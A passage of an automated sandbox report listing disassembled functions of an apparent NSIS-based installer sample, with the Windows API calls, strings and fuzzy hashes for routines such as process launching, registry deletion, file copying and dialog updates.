Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427176,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00015200,00000064,00108AA0), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(00647028), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

%02x%c, xrefs: 0040629C
..., xrefs: 004062BF

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
